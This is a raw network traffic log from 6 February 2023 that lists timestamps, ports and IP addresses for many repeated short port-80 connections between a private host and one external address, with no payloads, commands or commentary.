Feb 6, 2023 18:36:28.005264997 CET	49842	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:28.007803917 CET	80	49843	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:28.008632898 CET	49843	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:28.008838892 CET	49843	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:28.071372986 CET	80	49843	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:28.074860096 CET	80	49843	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:28.075380087 CET	49843	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:28.183693886 CET	49843	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:28.184128046 CET	49844	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:28.244770050 CET	80	49844	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:28.244904995 CET	49844	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:28.246222019 CET	49844	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:28.246296883 CET	80	49843	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:28.246412039 CET	49843	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:28.306857109 CET	80	49844	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:28.308918953 CET	80	49844	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:28.309134960 CET	49844	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:28.413912058 CET	49844	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:28.414472103 CET	49846	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:28.474103928 CET	80	49846	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:28.474402905 CET	49846	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:28.474443913 CET	80	49844	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:28.474737883 CET	49844	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:28.476052046 CET	49846	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:28.535742044 CET	80	49846	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:28.537834883 CET	80	49846	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:28.538192987 CET	49846	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:28.646780968 CET	49846	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:28.647869110 CET	49847	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:28.707632065 CET	80	49846	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:28.707669973 CET	80	49847	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:28.709691048 CET	49846	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:28.712472916 CET	49847	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:28.712472916 CET	49847	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:28.772167921 CET	80	49847	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:28.774358988 CET	80	49847	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:28.774630070 CET	49847	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:28.880583048 CET	49847	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:28.881529093 CET	49848	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:28.940586090 CET	80	49847	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:28.941189051 CET	49847	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:28.944005966 CET	80	49848	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:28.944178104 CET	49848	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:28.944538116 CET	49848	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:29.007071018 CET	80	49848	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:29.009571075 CET	80	49848	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:29.009794950 CET	49848	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:29.114732981 CET	49848	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:29.115698099 CET	49849	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:29.177270889 CET	80	49849	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:29.177337885 CET	80	49848	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:29.177459955 CET	49848	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:29.177906036 CET	49849	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:29.177906036 CET	49849	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:29.239609003 CET	80	49849	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:29.243168116 CET	80	49849	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:29.246854067 CET	49849	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:29.376610994 CET	49849	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:29.377454996 CET	49850	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:29.438555956 CET	80	49849	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:29.438786030 CET	49849	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:29.438883066 CET	80	49850	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:29.439142942 CET	49850	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:29.439543962 CET	49850	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:29.501133919 CET	80	49850	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:29.503218889 CET	80	49850	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:29.503441095 CET	49850	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:29.614121914 CET	49850	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:29.615092993 CET	49851	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:29.675931931 CET	80	49850	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:29.676166058 CET	49850	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:29.677608967 CET	80	49851	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:29.677787066 CET	49851	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:29.678141117 CET	49851	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:29.740688086 CET	80	49851	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:29.742813110 CET	80	49851	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:29.743041992 CET	49851	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:29.851464987 CET	49851	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:29.852747917 CET	49852	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:29.913487911 CET	80	49852	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:29.913716078 CET	49852	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:29.913949013 CET	80	49851	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:29.914060116 CET	49852	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:29.916623116 CET	49851	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:29.974651098 CET	80	49852	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:29.976921082 CET	80	49852	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:29.977015972 CET	49852	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:30.082870960 CET	49852	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:30.083496094 CET	49853	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:30.143796921 CET	80	49852	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:30.143979073 CET	49852	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:30.144817114 CET	80	49853	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:30.144929886 CET	49853	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:30.146488905 CET	49853	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:30.207698107 CET	80	49853	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:30.211244106 CET	80	49853	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:30.211391926 CET	49853	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:30.318382025 CET	49853	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:30.319107056 CET	49854	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:30.380184889 CET	80	49853	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:30.380265951 CET	80	49854	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:30.380386114 CET	49853	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:30.380630016 CET	49854	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:30.381462097 CET	49854	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:30.442387104 CET	80	49854	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:30.445030928 CET	80	49854	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:30.445621967 CET	49854	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:30.552680016 CET	49854	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:30.553114891 CET	49855	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:30.613953114 CET	80	49854	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:30.614140034 CET	49854	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:30.615438938 CET	80	49855	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:30.615586042 CET	49855	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:30.616175890 CET	49855	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:30.678487062 CET	80	49855	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:30.680810928 CET	80	49855	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:30.680943012 CET	49855	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:30.787477016 CET	49855	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:30.789088011 CET	49856	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:30.849587917 CET	80	49856	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:30.849750042 CET	49856	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:30.850081921 CET	80	49855	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:30.850200891 CET	49855	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:30.850297928 CET	49856	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:30.910609007 CET	80	49856	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:30.912975073 CET	80	49856	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:30.913084984 CET	49856	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:31.020567894 CET	49856	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:31.021260023 CET	49857	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:31.083116055 CET	80	49856	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:31.083245993 CET	49856	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:31.084150076 CET	80	49857	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:31.084250927 CET	49857	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:31.085634947 CET	49857	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:31.148397923 CET	80	49857	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:31.152002096 CET	80	49857	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:31.152110100 CET	49857	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:31.255423069 CET	49857	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:31.256033897 CET	49858	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:31.318927050 CET	80	49857	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:31.319034100 CET	49857	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:31.319403887 CET	80	49858	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:31.319502115 CET	49858	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:31.320590019 CET	49858	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:31.384303093 CET	80	49858	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:31.384737968 CET	80	49858	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:31.384843111 CET	49858	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:31.490397930 CET	49858	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:31.491250038 CET	49859	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:31.552278996 CET	80	49858	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:31.552473068 CET	49858	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:31.552609921 CET	80	49859	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:31.552714109 CET	49859	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:31.553133011 CET	49859	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:31.615744114 CET	80	49859	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:31.617983103 CET	80	49859	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:31.618987083 CET	49859	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:31.723783016 CET	49859	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:31.724569082 CET	49860	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:31.786007881 CET	80	49859	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:31.786298037 CET	49859	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:31.786446095 CET	80	49860	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:31.786561966 CET	49860	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:31.786990881 CET	49860	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:31.848407984 CET	80	49860	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:31.851413012 CET	80	49860	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:31.851510048 CET	49860	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:31.960247040 CET	49860	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:31.964284897 CET	49861	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:32.022561073 CET	80	49860	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:32.022830009 CET	49860	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:32.026913881 CET	80	49861	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:32.031848907 CET	49861	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:32.032216072 CET	49861	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:32.093905926 CET	80	49861	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:32.098774910 CET	80	49861	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:32.099076986 CET	49861	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:32.211750031 CET	49861	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:32.213300943 CET	49862	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:32.273718119 CET	80	49861	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:32.274980068 CET	49861	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:32.275237083 CET	80	49862	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:32.275696039 CET	49862	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:32.276209116 CET	49862	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:32.339087963 CET	80	49862	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:32.340869904 CET	80	49862	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:32.341100931 CET	49862	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:32.444211006 CET	49862	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:32.444906950 CET	49863	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:32.510962963 CET	80	49862	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:32.511025906 CET	80	49863	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:32.511401892 CET	49862	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:32.511409998 CET	49863	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:32.512022972 CET	49863	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:32.573606014 CET	80	49863	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:32.576287985 CET	80	49863	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:32.576478958 CET	49863	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:32.693380117 CET	49863	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:32.694236040 CET	49864	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:32.754885912 CET	80	49863	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:32.754919052 CET	80	49864	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:32.755309105 CET	49863	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:32.755354881 CET	49864	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:32.756227970 CET	49864	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:32.817857027 CET	80	49864	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:32.819240093 CET	80	49864	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:32.819396019 CET	49864	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:32.927948952 CET	49864	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:32.929759026 CET	49865	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:32.988576889 CET	80	49864	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:32.988698006 CET	49864	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:32.990061045 CET	80	49865	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:32.990154982 CET	49865	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:32.990534067 CET	49865	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:33.050771952 CET	80	49865	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:33.054577112 CET	80	49865	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:33.054744959 CET	49865	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:33.162925005 CET	49865	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:33.165121078 CET	49866	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:33.223438978 CET	80	49865	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:33.223687887 CET	49865	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:33.224848986 CET	80	49866	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:33.224994898 CET	49866	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:33.225481033 CET	49866	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:33.285083055 CET	80	49866	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:33.287621021 CET	80	49866	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:33.287743092 CET	49866	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:33.428792953 CET	49866	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:33.429872036 CET	49867	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:33.490115881 CET	80	49866	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:33.490457058 CET	49866	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:33.491564035 CET	80	49867	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:33.491708994 CET	49867	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:33.500442982 CET	49867	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:33.562038898 CET	80	49867	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:33.564363956 CET	80	49867	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:33.564471006 CET	49867	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:33.837443113 CET	49867	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:33.838119030 CET	49868	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:33.898653984 CET	80	49868	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:33.898682117 CET	80	49867	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:33.898802042 CET	49867	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:33.899866104 CET	49868	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:33.899866104 CET	49868	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:33.960418940 CET	80	49868	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:33.962744951 CET	80	49868	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:33.963403940 CET	49868	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:34.069293976 CET	49868	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:34.069802046 CET	49869	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:34.130040884 CET	80	49868	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:34.130728006 CET	49868	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:34.131195068 CET	80	49869	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:34.131310940 CET	49869	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:34.178044081 CET	49869	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:34.240279913 CET	80	49869	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:34.246464968 CET	80	49869	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:34.246658087 CET	49869	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:34.385418892 CET	49869	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:34.392092943 CET	49870	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:34.447731972 CET	80	49869	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:34.447871923 CET	49869	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:34.452697992 CET	80	49870	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:34.452852964 CET	49870	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:34.488373995 CET	49870	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:34.548970938 CET	80	49870	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:34.551070929 CET	80	49870	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:34.551193953 CET	49870	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:35.084048033 CET	49870	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:35.084954023 CET	49871	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:35.144639015 CET	80	49870	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:35.144759893 CET	49870	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:35.146522999 CET	80	49871	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:35.146646976 CET	49871	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:35.146965981 CET	49871	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:35.208807945 CET	80	49871	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:35.213232040 CET	80	49871	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:35.213391066 CET	49871	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:35.336005926 CET	49871	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:35.336946964 CET	49872	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:35.397907972 CET	80	49871	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:35.398159027 CET	49871	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:35.399240971 CET	80	49872	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:35.400070906 CET	49872	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:35.424115896 CET	49872	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:35.486618042 CET	80	49872	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:35.490262032 CET	80	49872	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:35.490413904 CET	49872	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:35.933027983 CET	49872	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:35.933728933 CET	49873	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:35.995178938 CET	80	49873	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:35.995254993 CET	80	49872	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:35.995469093 CET	49873	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:35.996176958 CET	49872	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:36.003659964 CET	49873	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:36.065177917 CET	80	49873	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:36.069278955 CET	80	49873	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:36.069489956 CET	49873	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:36.213120937 CET	49873	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:36.213848114 CET	49874	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:36.274435043 CET	80	49874	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:36.274591923 CET	80	49873	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:36.274631977 CET	49874	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:36.274683952 CET	49873	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:36.510726929 CET	49874	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:36.573328972 CET	80	49874	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:36.575668097 CET	80	49874	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:36.575764894 CET	49874	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:36.693458080 CET	49874	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:36.694474936 CET	49875	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:36.754281044 CET	80	49874	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:36.754391909 CET	49874	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:36.755656004 CET	80	49875	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:36.755906105 CET	49875	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:36.759661913 CET	49875	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:36.821050882 CET	80	49875	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:36.823663950 CET	80	49875	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:36.823839903 CET	49875	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:36.938894987 CET	49875	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:36.939713955 CET	49876	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:37.000583887 CET	80	49875	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:37.000766993 CET	49875	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:37.001060963 CET	80	49876	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:37.001220942 CET	49876	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:37.001688957 CET	49876	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:37.063047886 CET	80	49876	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:37.067255020 CET	80	49876	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:37.067383051 CET	49876	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:37.179090023 CET	49876	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:37.180093050 CET	49877	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:37.240042925 CET	80	49877	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:37.240278006 CET	49877	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:37.241185904 CET	49877	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:37.242559910 CET	80	49876	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:37.242717981 CET	49876	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:37.300611019 CET	80	49877	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:37.303318977 CET	80	49877	62.204.41.4	192.168.2.7
Feb 6, 2023 18:36:37.303658962 CET	49877	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:37.412396908 CET	49877	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:37.413441896 CET	49878	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:36:37.471874952 CET	80	49877	62.204.41.4	192.168.2.7
